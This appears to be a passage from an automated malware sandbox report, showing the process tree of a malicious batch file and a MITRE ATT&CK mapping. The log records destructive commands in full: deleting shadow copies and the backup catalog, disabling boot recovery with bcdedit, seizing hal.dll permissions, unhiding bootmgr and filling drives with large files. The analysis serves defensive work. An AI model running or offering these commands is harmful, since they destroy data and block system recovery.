      Enumerates connected drives
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:12324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:14196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Executes a command shell one-liner
  PID:4696
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3612
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2828
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3276
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:568
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3376
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4448
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5564
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:6060
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:300
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    PID:2880
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6948
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:5320
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:13140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Drops file in System32 directory
  PID:1456
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4880
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4612
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5300
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5648
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5988
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:5484
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6020
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6960
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:8052
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:12064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:10252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:16040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:16232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:16240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:16256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:16268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:16280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:16304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:16316
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:16328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    - Executes a command shell one-liner
    PID:16336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:1148
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5040
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2128
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5128
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5576
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5968
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5344
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:6044
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5320
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    PID:5848
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    PID:6444
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:12608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Executes a command shell one-liner
  PID:4364
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4612
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5196
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5736
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5264
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5476
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6096
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:6268
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:7828
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Modifies file permissions
    PID:10568
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:14380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
    3⤵
    PID:4788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:4872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3136
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5244
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5704
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:288
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5684
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    PID:5832
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:5952
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:7344
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:8832
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:8596
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:6740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:304
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4880
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5756
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5896
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3488
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:5812
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:5344
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5636
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:7004
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:7840
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Modifies file permissions
    PID:14408
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew C:\payload_fill.bin 10737418240
    3⤵
    PID:5632
- - C:\Windows\system32\fsutil.exe
    fsutil file createnew F:\payload_fill.bin 10737418240
    3⤵
    PID:14996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Executes a command shell one-liner
  PID:1552
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4928
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5728
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5864
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5752
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:5316
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5680
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:7116
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:7908
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    PID:10452
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:12780
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:7672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:5456
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:6000
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:6052
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Executes a command shell one-liner
  PID:5764
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:6120
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:3852
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:6640
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:7440
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:7628
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:13484
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:12568
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:16208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:6076
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5892
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:5884
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:5832
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:6936
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:7852
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:7288
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:14200
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:9824
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:12908
- - C:\Windows\system32\attrib.exe
    attrib -h -r -s C:\bootmgr
    3⤵
    - Views/modifies file attributes
    PID:15972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:5408
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5364
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:6244
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:6384
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:7336
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:7176
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:12080
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:12580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:6008
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5264
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5464
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:3444
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:8060
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:8640
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:14644
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll" /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:13340
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:7028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:5424
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5816
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:7012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5760
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:6228
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:8028
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:7408
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:15088
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:15032
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:13268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:5444
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:6808
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:7056
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:8172
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:8560
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:7688
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:2532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:6996
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:11564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:12588
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:11692
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:15644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Executes a command shell one-liner
  PID:7748
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:14728
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:7408
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:13116
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    PID:8892
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} safeboot
    3⤵
    PID:7672
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:16012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:7816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:13004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  - Executes a command shell one-liner
  PID:14996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:1244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\تيهاهصشمىم.bat"
  2⤵
  PID:12280

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2936

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2848

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:612

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:3956

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4004

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:13368

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:9476

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery